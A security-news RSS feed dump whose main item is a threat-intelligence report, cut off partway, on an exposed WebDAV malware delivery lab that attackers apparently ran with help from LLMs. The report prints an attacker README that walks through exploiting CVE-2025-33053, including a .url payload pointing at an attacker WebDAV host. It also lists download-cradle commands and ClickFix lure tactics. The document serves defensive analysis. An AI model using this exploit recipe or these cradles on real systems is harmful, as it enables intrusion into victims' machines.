<link>https://tsecurity.de/de/3681952/it-nachrichten/naechstes-studio-alpha-dog-verlaesst-xbox-und-wird-wieder-unabhaengig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681952/it-nachrichten/naechstes-studio-alpha-dog-verlaesst-xbox-und-wird-wieder-unabhaengig/</guid>
<pubDate>Mon, 20 Jul 2026 20:33:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img src="https://www.drwindows.de/news/wp-content/uploads/2026/02/asha_sharma_titelbild-720x360.png" class="attachment-single-thumb size-single-thumb wp-post-image" alt="Asha Sharma, Microsoft Gaming CEO" decoding="async" fetchpriority="high"></div>
<p>Microsoft sortiert bei seinen Entwicklerstudios weiter aus. Nachdem Ninja Theory und Undead Labs an neue Besitzer gegangen sind und sich Compulsion Game und Double Fine Studios in die Unabhängigkeit retten konnten, folgt nun auch Alpha Dog dem letzteren Beispiel. Wie Windows Central berichtet, hat sich der mobile DOOM-Entwickler, der sich bereits 2024 im Windschatten von […]</p>
<p>Der Beitrag <a href="https://www.drwindows.de/news/naechstes-studio-alpha-dog-verlaesst-xbox-und-wird-wieder-unabhaengig">Nächstes Studio: Alpha Dog verlässt XBOX und wird wieder unabhängig</a> erschien zuerst auf <a href="https://www.drwindows.de/news">Dr. Windows</a>.</p>]]></content:encoded>
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<title><![CDATA[Hugging Face Stops AI-Driven Cyberattack]]></title>
<description><![CDATA[The long-forecasted era of the autonomous ai-driven “agentic hacker” has officially shifted from theory to reality. In a…
The post Hugging Face Stops AI-Driven Cyberattack appeared first on Hackers Online Club.]]></description>
<link>https://tsecurity.de/de/3681915/it-security-nachrichten/hugging-face-stops-ai-driven-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681915/it-security-nachrichten/hugging-face-stops-ai-driven-cyberattack/</guid>
<pubDate>Mon, 20 Jul 2026 20:08:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The long-forecasted era of the autonomous ai-driven “agentic hacker” has officially shifted from theory to reality. In a…</p>
<p>The post <a href="https://hackersonlineclub.com/hugging-face-stops-ai-driven-cyberattack/">Hugging Face Stops AI-Driven Cyberattack</a> appeared first on <a href="https://hackersonlineclub.com/">Hackers Online Club</a>.</p>]]></content:encoded>
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<title><![CDATA[Hugging Face Stops AI-Driven Cyberattack]]></title>
<description><![CDATA[The long-forecasted era of the autonomous ai-driven “agentic hacker” has officially shifted from theory to reality. In a… The post Hugging Face Stops AI-Driven Cyberattack appeared first on Hackers Online Club. This article has been indexed from Hackers Online Club…
Read more →
The post Hugging F...]]></description>
<link>https://tsecurity.de/de/3681913/it-security-nachrichten/hugging-face-stops-ai-driven-cyberattack/</link>
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<pubDate>Mon, 20 Jul 2026 20:08:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The long-forecasted era of the autonomous ai-driven “agentic hacker” has officially shifted from theory to reality. In a… The post Hugging Face Stops AI-Driven Cyberattack appeared first on Hackers Online Club. This article has been indexed from Hackers Online Club…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hugging-face-stops-ai-driven-cyberattack/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hugging-face-stops-ai-driven-cyberattack/">Hugging Face Stops AI-Driven Cyberattack</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[‘Spooky in Love’ Episode 2 Recap: Yeo-ri Reveals Her Secret]]></title>
<description><![CDATA[‘Spooky in Love’ Season 1, Episode 2 pushes Yeo-ri and Gang-uk into their first real investigation together, while a second murder mystery begins forming around a missing young woman.



The episode continues directly after Gang-uk nearly touches Yeo-ri’s bare hand. She pulls away before contact,...]]></description>
<link>https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681766/ios-mac-os/spooky-in-love-episode-2-recap-yeo-ri-reveals-her-secret/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[‘Spooky in Love’ Season 1, Episode 2 pushes Yeo-ri and Gang-uk into their first real investigation together, while a second murder mystery begins forming around a missing young woman.



The episode continues directly after Gang-uk nearly touches Yeo-ri’s bare hand. She pulls away before contact, protecting him from the supernatural consequences that she believes follow anyone she touches.




Release date: July 19, 2026



Streaming platform: Netflix



Original network: tvN



Genre: Romantic comedy, horror and fantasy



Total episodes: 12



Release schedule: New episodes every Saturday and Sunday



Main cast: Park Eun-bin, Yang Se-jong and Ong Seong-wu




The Korean drama premiered on July 18, 2026, and follows hotel CEO Cheon Yeo-ri, who can see ghosts, and prosecutor Ma Gang-uk, who investigates difficult murder cases. The series is based on the 2011 Korean film Spellbound.



Spoilers Ahead for ‘Spooky in Love’ Episode 2







Gang-uk questions Yeo-ri about how she found the buried victim from their first meeting. After trying to avoid his questions, she finally admits that a ghost showed her where the body was hidden.



Gang-uk does not believe her explanation and leaves, although the strange events surrounding Yeo-ri continue to challenge his logical view of the world.



Meanwhile, Gang-uk continues investigating professional golfer Park Seung-jae. Seung-jae was previously accused of killing his girlfriend, Jang Eun-ju, but used his family’s political influence and lack of evidence to escape conviction.



Yeo-ri openly tells Seung-jae that she dislikes him. She also reveals that Eun-ju visited her before her death and said she was pregnant with his child. Seung-jae denies responsibility, but his aggressive reaction makes him appear even more suspicious.



Eun-ju’s Ghost Leads Them to the Truth



Eun-ju’s ghost later appears before Yeo-ri, confirming that she was murdered. Gang-uk studies the available evidence and develops a theory that Seung-jae disguised himself as a woman before hiding Eun-ju’s body inside a hotel water tank.



When Gang-uk reaches the tank, he finds Yeo-ri already there. Together, they discover Eun-ju’s remains, giving Gang-uk the evidence required to arrest Seung-jae.



The case establishes how useful Yeo-ri’s ability can become during murder investigations. Gang-uk provides legal knowledge and careful reasoning, while Yeo-ri receives information directly from victims who can no longer speak for themselves.



Min-hwan Enters Yeo-ri’s Life



Episode 2 also introduces Kang Min-hwan, Yeo-ri’s childhood friend and another hotel executive. He wants to develop a business relationship with her, although his reaction to Gang-uk suggests that his interest is also personal.



A booking mistake places Yeo-ri and Gang-uk in the same hotel room. They eventually wake up in the same bed and panic, creating one of the episode’s lighter moments. Min-hwan clearly dislikes seeing them together, setting up a possible romantic rivalry.



A New Missing-Person Case Begins



The closing section introduces an elderly woman searching for her missing granddaughter, Jung Hae-na, an aspiring fashion designer.



Hae-na appears connected to a famous designer holding an event at Min-hwan’s hotel. The circumstances surrounding her disappearance suggest that Yeo-ri and Gang-uk will soon face another case involving powerful people and hidden abuse. AsianWiki lists the Jung Hae-na storyline across Episodes 2 and 3, confirming that the mystery will continue in the next chapter.



‘Spooky in Love’ Episode 2 gives its central partnership a clearer purpose while developing the romance, the supernatural rules and the next investigation. What do you think happened to Hae-na, and will Min-hwan come between Yeo-ri and Gang-uk? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[LSU Physicists Create First Room-Temperature Quantum Material]]></title>
<description><![CDATA[Researchers at Louisiana State University have created a room-temperature quantum material made from a thin gold film on glass, patterned with microscopic slits that act like artificial atoms. "We call this robust transport. These quantum states carry information," says physicist Omar Magana-Loai...]]></description>
<link>https://tsecurity.de/de/3681683/it-security-nachrichten/lsu-physicists-create-first-room-temperature-quantum-material/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681683/it-security-nachrichten/lsu-physicists-create-first-room-temperature-quantum-material/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers at Louisiana State University have created a room-temperature quantum material made from a thin gold film on glass, patterned with microscopic slits that act like artificial atoms. "We call this robust transport. These quantum states carry information," says physicist Omar Magana-Loaiza. "Our crystal can distinguish them and move them from one point to another in a robust way without requiring cryogenic cooling. That's what opens the door to practical quantum technologies." ScienceAlert reports: Crucial to the new material's room-temperature operation is the way it shifts the focus from electrons and atoms to photons (particles of light). This overcomes the usual atomic-level disruption that heat brings with it. The material is what's known as a plasmonic metacrystal: 'Plasmonic' because the light traveling over it makes ripples of electrons known as plasmons, and 'metacrystal' because it's an artificially created crystal. The tiny slit patterns etched into the material act as artificial atoms (meta-atoms), which dictate how different photon groups pass through (the quantum behavior).
 
"By engineering the distribution of meta-atoms in the plasmonic metacrystal, we can systematically dictate which quantum statistics are allowed to pass through the structure," says physicist Riley Dawkins. "So, our crystal essentially acts as a statistical filter on quantum states." That means as light enters the chip and travels across the gold surface, it's manipulated by the meta-atoms -- and by tweaking the size, shape, and spacing of the slits, different end results can be produced at the quantum level. In practice, this means that certain quantum states of light can be transported with less disruption. The findings have been published in the journal Nature.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/20/0438205/lsu-physicists-create-first-room-temperature-quantum-material?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[AI confidence just dropped 17 points in six months. That’s actually great news.]]></title>
<description><![CDATA[Presented by JumpCloudThe organizations losing confidence in AI are the ones most likely to get it right.Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. Today that number is 23%. Before you read that as a setback, consider what it actually reflects.We r...]]></description>
<link>https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</link>
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<pubDate>Mon, 20 Jul 2026 18:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by JumpCloud</i></p><hr><p><b><i>The organizations losing confidence in AI are the ones most likely to get it right.</i></b></p><p>Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. <a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><u>Today that number is 23%</u></a>. Before you read that as a setback, consider what it actually reflects.</p><p>We recently surveyed 800 IT leaders across the U.S. and U.K. for our Q3 2026 trends report, and the data tells a consistent story: the organizations revising their self-assessment downward are overwhelmingly the ones that have moved AI agents from pilots into production. They’re not losing faith in AI. They’re running into the problems that only show up when agents are doing real work in real systems, and they’re being honest about what they found.</p><p>That kind of honesty is harder to come by than it sounds, and it matters more than the confidence number itself.</p><h2>Deployment was the easy part</h2><p>84% of organizations plan to expand AI use in IT operations over the next 6 to 24 months, so the drop in confidence isn’t a retreat. What it reflects is a more accurate picture of what production actually requires.</p><p>In a pilot, an AI agent does one thing in a controlled setting. In production, it accesses real systems, makes decisions that affect real workflows, and operates continuously, often without a human in the loop. The governance infrastructure that entails is materially different from what it took to get the pilot working. Most organizations built enough to ship. Fewer built enough to scale.</p><p>The IT leaders revising their self-assessment are confronting questions they didn’t have to ask at the pilot stage: Can we see every agent running in our environment? Do we know what each one can access? If an agent behaved unexpectedly last week, how long would it take to find out? For most organizations, at least one of those answers is uncomfortable.</p><h2>The gap between perception and reality is where risk accumulates</h2><p>The graphic above captures the structural problem. Across confidence, governance, and autonomy, the same pattern holds: deployment is moving faster than the controls built around it.</p><p>The organizations that have closed this gap share specific characteristics. They’ve consolidated their IT environments rather than adding tools to solve each new problem, because every additional platform creates another place where agent identity, access, and accountability can go unmanaged. They treat AI agents as governed identities rather than tolerated shadow processes. And they measure what AI actually produces, not just what it deploys.</p><p>The payoff is tangible. Organizations in the top tier of our maturity model are five times more likely to report no barriers to expanding their AI agents than the average organization. They are not more cautious about AI. They are more confident in it, because they built the foundation that makes confidence earned rather than assumed.</p><h2>The governance gap has a specific shape</h2><p>The hardest problem in enterprise AI right now is not capability. It is accountability, and the data makes the specific failure point clear: non-human identity governance is the least adopted AI security practice we measured, in place at just 21% of organizations.</p><p>Non-human identities now outnumber human users in 83% of organizations, and that population is growing fast. Yet most of those identities exist without the governance structures that every human employee has as a matter of course: no formal record, no named owner, no defined scope of access, no offboarding process when their purpose expires. They keep running. They keep accessing systems. They keep accumulating permissions. We call these Zombie Agents, and they are the service account problem of the AI era, operating at machine speed and in every department.</p><p>The accountability gap is where real risk lives. When a human employee takes an action, there is an implicit accountability chain. When an autonomous agent takes an action, that chain breaks unless it has been deliberately engineered. Most organizations have not yet engineered it, and the gap between the autonomy agents are being granted and the oversight structures in place to manage them is widening every month.</p><h2>What the confidence drop is actually telling us</h2><p>When AI maturity confidence was uniformly high across the market, that was worth worrying about. It meant most organizations hadn’t yet run into the hard parts. A selective drop, concentrated among organizations actively running agents in production, means the market is developing a more accurate picture of what AI operations genuinely require.</p><p>The organizations recalibrating are doing the work that makes long-term AI adoption possible: building identity infrastructure that covers agents alongside humans and devices, unifying the environments where governance needs to apply, and measuring outcomes rather than just counting deployments. They haven’t lowered their ambitions for AI. They have raised their standards for what it means to run it responsibly.</p><p>84% of organizations plan to expand AI use over the next two years. The ones that will do it well are honest enough, right now, to admit what they haven’t yet built.</p><p><i>JumpCloud’s Q3 2026 AI Readiness Research report (n=800 IT leaders, U.S. + U.K.) is available </i><a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><i><u>here</u></i></a><i>. The report covers AI agent deployment stages, identity governance gaps, IT unification benchmarks, and budget realism across mid-market and enterprise organizations.</i></p><p><i>Rajat Bhargava is CEO and Co-founder at JumpCloud.</i></p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" 